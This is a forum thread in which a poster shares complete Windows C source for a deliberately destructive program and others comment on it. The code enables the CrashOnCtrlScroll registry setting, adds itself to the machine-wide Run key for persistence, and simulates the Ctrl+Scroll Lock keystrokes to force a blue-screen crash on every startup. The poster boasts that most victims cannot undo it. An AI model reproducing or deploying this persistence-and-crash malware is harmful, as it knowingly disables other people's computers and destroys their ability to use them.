GOOD destructive code.

[Govind]

Not a virus, just destructive code, but better destructive code traditional nooby delete-a-random-windows-system-file "virus" that will clearly show the user what file went missing.

This forces BSODs (unrecoverable kernel errors) on startup, and since most XP accounts are created as Administrators by default, the registry key will probably be writable by nearly all users that run this. It's also compatible on Win2k, Srv03 and Vista (I think). It is quite easy to defeat by enabling safe mode and removing the registry entries, but most people have no clue what the registry is, or how to edit it.

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
     HKEY KeyHandle;
    DWORD Data = 1;
    RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\i8042prt\\Parameters",&KeyHandle);
    RegSetValueEx(KeyHandle,"CrashOnCtrlScroll",NULL,REG_DWORD,(BYTE*)&Data,sizeof(DWORD));
    RegCloseKey(KeyHandle);
    char filename[MAX_PATH];
    GetModuleFileName(NULL,filename,MAX_PATH-1);
    //MessageBox(NULL,filename,"",MB_OK);
    HKEY startup;
    RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&startup);
    RegSetValueEx(startup,"StartupServices",NULL,REG_SZ,(BYTE*)&filename,sizeof(filename));
    RegCloseKey(startup);
    keybd_event(VK_RCONTROL,NULL,NULL,NULL);
    keybd_event(VK_SCROLL,NULL,NULL,NULL);
    keybd_event(VK_SCROLL,NULL,KEYEVENTF_KEYUP,NULL);
    keybd_event(VK_SCROLL,NULL,NULL,NULL);
    keybd_event(VK_SCROLL,NULL,KEYEVENTF_KEYUP,NULL);
    return 0;
}

 

[cp]

Win.

As far as my not-C++-programming skillz go, I can understand that you're adding to startup, and getting rid of the Right-Control button and the Scroll Lock butt, right?

Why are you making a memory dump thingy?
SYSTEM\\CurrentControlSet\\Services\\i8042prt\\Parameters
Google says that's meant to generate a memory dump.

I could be wrong though.

 

[Govind]

You kinda got it wrong. I'll explain it better later.

 

[Shlorine]

Looks good... to the coders in this forum are way overdestructive... And these simple codes are useless cause its noway anyone are going to accept it as a file even less chance to open it.